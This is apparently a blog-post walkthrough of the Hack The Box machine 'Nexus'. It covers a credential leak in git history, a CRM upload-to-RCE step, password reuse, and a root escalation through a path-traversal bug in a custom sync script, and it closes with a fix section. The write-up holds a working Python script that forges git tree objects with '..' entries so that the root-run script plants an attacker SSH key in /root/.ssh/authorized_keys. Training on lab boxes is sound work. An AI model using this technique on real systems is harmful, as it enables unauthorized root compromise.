2092 words
10 minutes
HTB Nexus — Git Template Sync Path Traversal to Root

HTB Nexus - A Methodology-First Walkthrough#

Foothold -> lateral movement -> custom-service privesc via git path traversal


Why this box is worth writing up#

Most of Nexus is “normal” HTB fare - a leaked .env, credential reuse, an internal service on a weird port. The part that actually teaches something is the very last step: a bespoke root-owned sync script with a path traversal bug that isn’t a CVE, isn’t in any database, and won’t show up in searchsploit. The only way to find it is to have a repeatable process for looking at custom automation. That process - not just the final payload - is the point of this post.


1. Recon#

Standard start:

Terminal window
sudo nmap -sC -sV <target>

Two ports open: 22 and 80. The web app on 80 is a company site advertising a job posting, which conveniently leaks an internal email address (j.matthew@nexus.htb) - a detail that becomes relevant later for credential reuse.

Subdomain enumeration with ffuf turns up two virtual hosts:

Terminal window
ffuf -u http://nexus.htb -H "Host: FUZZ.nexus.htb" -w <wordlist>
  • git.nexus.htb -> Gitea instance
  • billing.nexus.htb -> Krayin CRM admin login

Methodology note: always subdomain-enumerate on a box with a single vhost in scope. A bare IP + port 80 rarely tells the whole story; the interesting attack surface is often hiding behind a vhost you haven’t found yet.


2. Foothold: leaked .env in git history#

Browsing the Gitea instance turns up a repo (admin/krayin-docker-setup) containing a .env file. The current version may be clean, but the commit history isn’t - an earlier commit contains the database password in plaintext.

Methodology note: whenever you find a git repo during enumeration, don’t just look at the current file tree - check git log -p or browse the commit history in the UI. Secrets get “removed” in a later commit far more often than they get removed from history. This is one of the single highest-value habits in web recon.

With DB credentials in hand, and knowing the email address from step 1, logging into the Krayin admin panel at billing.nexus.htb/admin/login succeeds.

The panel fingerprints as Krayin CRM v2.2.0. A version-first search (never assume a vulnerability - confirm the version, then look it up) turns up a known file-upload-to-RCE issue affecting v2.2.x. The exploitation path: upload a file via any TinyMCE-backed image upload endpoint (e.g. compose email), intercept the request in Burp, rename the file to .php, and swap the body for a minimal PHP webshell. The application fails to validate the extension server-side, and the file lands somewhere web-accessible.

From there, a one-liner reverse shell over the webshell gets an interactive www-data shell, stabilized with:

Terminal window
python3 -c 'import pty; pty.spawn("/bin/bash")'

3. www-data -> jones: credential reuse, twice#

Re-reading the application’s own .env from the shell (not just the git history) confirms the same DB password is live on the box. Since Linux service accounts and application accounts frequently share passwords with real human users on boxes like this, the natural next step is:

Terminal window
ssh jones@<target>
# try the DB password

It works. This is worth internalizing as a general heuristic: any password you find, try it everywhere - su, ssh, database, any other login you can reach. Password reuse across a stack is one of the most common real-world (and HTB) escalation vectors, precisely because it’s boring and people do it anyway.

user.txt is readable from jones’s home directory at this point.


4. The privesc problem: no sudo, no SUID, no cron#

This is where the box stops being “find the known exploit” and starts being “build a process.” Standard privesc enumeration:

Terminal window
sudo -l
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab

All of it comes back clean. No sudo rights, only stock SUID binaries, no interesting capabilities, no writable cron jobs. This is the point where a lot of people stall out - but a clean result on all the “checklist” items just means the vector is somewhere else. The next question to ask is always:

What does root do periodically or automatically, that I might be able to influence?

That’s a broader net than cron alone - it includes systemd timers, systemd services, log processors, backup jobs, file watchers, and anything else that runs unattended as a privileged user.

Terminal window
ss -tlnp

An internal-only port 3000 shows up, bound to 127.0.0.1. Combined with having already seen a git home directory on the box earlier (/home/git), this is a strong signal: Gitea, running locally, not exposed externally.

Terminal window
systemctl list-units --type=service --all | grep -i git

This turns up two services:

gitea-template-sync.service loaded inactive dead Sync Gitea templates
gitea.service loaded active running Gitea

Methodology note: any time you find a service tied to something you have partial access to - here, Gitea, which jones can now reach - check for sibling services and timers with a related name. Anything containing sync, backup, deploy, watch, or import in its name is worth reading in full, because those verbs almost always mean: takes input from somewhere less-trusted than root, and performs file operations.


5. Reading the custom script - the actual finding process#

Once a custom root-run script turns up, read it while asking three questions, in this order:

(a) What does it run as?#

Terminal window
cat /etc/systemd/system/gitea-template-sync.service
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py

User=root is immediately the most important line in the file. If this said User=git, the bug below would be far less interesting - you’d already control that account’s file space. Root execution is what turns a plain bug into a privilege escalation.

(b) Where does its input come from - and do I control it?#

Terminal window
cat /etc/gitea/template-sync.py

Reading the script, the core logic is:

result = subprocess.run(
GIT + ['ls-tree', '-r', 'HEAD'],
cwd=bare_path, capture_output=True, text=True, timeout=10
)
...
for line in result.stdout.strip().split('\n'):
...
entries.append((mode, objhash, filepath))

It walks the git tree of any repo flagged as a Gitea “template” repository and reads back a list of filenames. The critical question: can a normal, unprivileged user control what filenames appear in that list? Yes - any Gitea account can create a repo, mark it as a template, and push whatever files (and whatever filenames) they want. That’s the injection point.

(c) Does it write those filenames to disk without validating them first?#

for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)
...
with open(target, 'wb') as f:
f.write(cat_result.stdout)

This is the bug, in one line:

target = os.path.join(stage_path, filepath)

os.path.join() does not sanitize .. traversal. If filepath is ../../../root/.ssh/authorized_keys, the resulting target escapes the intended staging directory entirely. There is no check afterward that target is still inside stage_path before the write happens.

The pattern to memorize: attacker-controlled string -> path join -> file write, with no validation in between -> root process. Any time all four of those line up, you’re looking at an arbitrary file write. This generalizes far beyond git - the same shape shows up in tar/zip extraction bugs (“Zip Slip”), backup restore tools, artifact-sync scripts, and file-upload handlers across many different languages.


6. Why git update-index won’t let you build this directly#

The naive approach is to add a file with a .. path via git’s normal commands:

Terminal window
git update-index --add --cacheinfo 100644,<blob>,'../../../root/.ssh/authorized_keys'

This fails:

error: Invalid path '../../../root/.ssh/authorized_keys'

This is expected - git’s porcelain commands (add, update-index, checkout) validate path components specifically to prevent this kind of traversal during normal use. But that validation lives in the porcelain layer, not in git’s underlying object model. Git’s actual storage format (blobs, trees, commits - plain files under .git/objects/) has no concept of “invalid” filenames at all. If you write the objects yourself, at a low enough level, nothing stops you from naming a tree entry ...

That’s the missing piece that made this bug exploitable in practice, and it’s the one part of this box that’s reasonable to need a reference for the first time - it’s git-internals trivia, not something you’d necessarily derive from scratch.


7. Building the malicious git objects by hand#

A git object is stored as:

"<type> <byte-length>\0<content>"

SHA-1 hashed, zlib-compressed, and written to .git/objects/<first 2 hex chars>/<remaining 38 hex chars>. Three object types are relevant:

  • blob - raw file content
  • tree - a directory listing: a list of (mode, name, sha) entries
  • commit - points at one tree, plus author/committer metadata

Writing these directly in Python sidesteps every porcelain-level safety check:

#!/usr/bin/env python3
import hashlib, zlib, os, subprocess, sys, time
def write_obj(data, t):
h = ("%s %d" % (t, len(data))).encode() + b"\x00"
s = h + data
sha = hashlib.sha1(s).hexdigest()
d = os.path.join(".git", "objects", sha[:2])
os.makedirs(d, exist_ok=True)
p = os.path.join(d, sha[2:])
if not os.path.exists(p):
open(p, "wb").write(zlib.compress(s))
return sha
def entry(mode, name, sha):
return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)
if not os.path.isdir(".git"):
print("Run inside git repo"); sys.exit(1)
r = subprocess.run(["cat", "/tmp/.k.pub"], capture_output=True, text=True)
if r.returncode != 0:
print("ssh-keygen -t ed25519 -f /tmp/.k -N ''"); sys.exit(1)
key = r.stdout.strip() + "\n"
blob = write_obj(key.encode(), "blob")
readme = write_obj(b"# Template\n", "blob")
ssh_t = write_obj(entry("100644", "authorized_keys", blob), "tree")
cur = write_obj(entry("40000", ".ssh", ssh_t), "tree")
fir = write_obj(entry("40000", "root", cur), "tree")
for i in range(4):
fir = write_obj(entry("40000", "..", fir), "tree")
root = write_obj(
entry("100644", "README.md", readme) + entry("40000", "..", fir),
"tree"
)
ts = int(time.time())
c = "tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n" % (root, ts, ts)
sha = write_obj(c.encode(), "commit")
os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")
print("Done: " + sha)

Read the tree-building section bottom-up, like nested folders:

  1. ssh_t - a tree with one entry: file authorized_keys -> your key blob
  2. cur - a tree with one entry: folder .ssh -> ssh_t
  3. fir - a tree with one entry: folder root -> cur
  4. The loop wraps fir in four more single-entry trees, each folder literally named ..
  5. The final root tree adds a normal README.md (so the repo looks like an unremarkable template) alongside one more .. wrapper

When something later runs git ls-tree -r on this tree, git walks it and reports the full nested path exactly as constructed - because at the object level, .. is just a string like any other. It has no special meaning until a porcelain command tries to check it out onto a real filesystem, and by then it’s too late: the vulnerable script already trusted the name.


8. Executing the exploit#

Terminal window
ssh-keygen -t ed25519 -f /tmp/.k -N ''

Create a new Gitea repo (e.g. RCE), and in its settings, mark it as a Template Repository - this is what makes template-sync.py’s API query pick it up at all.

Terminal window
git clone http://jones:'<password>'@git.nexus.htb/jones/RCE.git
cd RCE
touch README.md
python3 /tmp/build.py
git push -u origin main --force

The gitea-template-sync.timer fires once a minute. Watch the log from the jones session:

Terminal window
cat /var/log/template-sync.log
[...] Syncing template: jones/RCE
[...] synced: README.md
[...] synced: ../../../../../root/.ssh/authorized_keys

That second synced: line is the confirmation - the root-run script just wrote your public key to /root/.ssh/authorized_keys.

Terminal window
ssh -i /tmp/.k root@<target>
cat /root/root.txt

Full chain, summarized#

Job posting -> email address leak
Subdomain fuzz -> git.nexus.htb, billing.nexus.htb
Gitea repo commit history -> leaked DB password
Krayin CRM login -> version fingerprint -> known upload-to-RCE issue
www-data shell -> re-read .env -> same password
SSH as jones (password reuse)
sudo -l / SUID / cron clean -> pivot to "what runs as root periodically?"
Internal port 3000 + /home/git -> Gitea
systemctl list-units -> gitea-template-sync.service (User=root)
Read the script -> unsanitized os.path.join() on git ls-tree output
Git object-model plumbing bypasses porcelain path validation
Malicious tree with ../ entries -> marked as Gitea template
Timer fires -> root writes attacker's SSH key to /root/.ssh/authorized_keys
root

The fix (for the sake of completeness)#

This isn’t a Gitea CVE - Gitea behaved exactly as designed. The bug is entirely in the custom sync script, and the fix is small:

target = os.path.normpath(os.path.join(stage_path, filepath))
if not target.startswith(os.path.abspath(stage_path) + os.sep):
log(" blocked traversal attempt: %s" % filepath)
continue

And, just as importantly, the service shouldn’t run as root at all - it only ever needs to write into a staging directory owned by the git user. Running least-privileged automation as root is what turned a path traversal bug into full system compromise; without that, this would have capped out at “attacker can clobber files inside a low-privilege staging folder.”


Takeaways#

  • Always check git commit history, not just the current tree, for leaked secrets.
  • Try every discovered credential everywhere - SSH, su, databases, other logins. Reuse is common because it’s convenient.
  • When standard privesc checks (sudo -l, SUID, cron) come back clean, broaden the question from “what’s misconfigured” to “what runs automatically as root, and can I influence its input?” - check systemd services and timers, not just cron.
  • When you find custom root-run automation, read it looking for three things: what user it runs as, where its input originates, and whether that input reaches a filesystem/command sink without validation.
  • attacker-controlled string -> path join -> file write, unchecked -> root process is a pattern worth memorizing - it recurs constantly, across languages and tools, well beyond this one box.
HTB Nexus — Git Template Sync Path Traversal to Root
https://blogs.hacck3y.me/posts/day_1_htb/
Author
hacck3y
Published at
2026-07-04
License
CC BY-NC-SA 4.0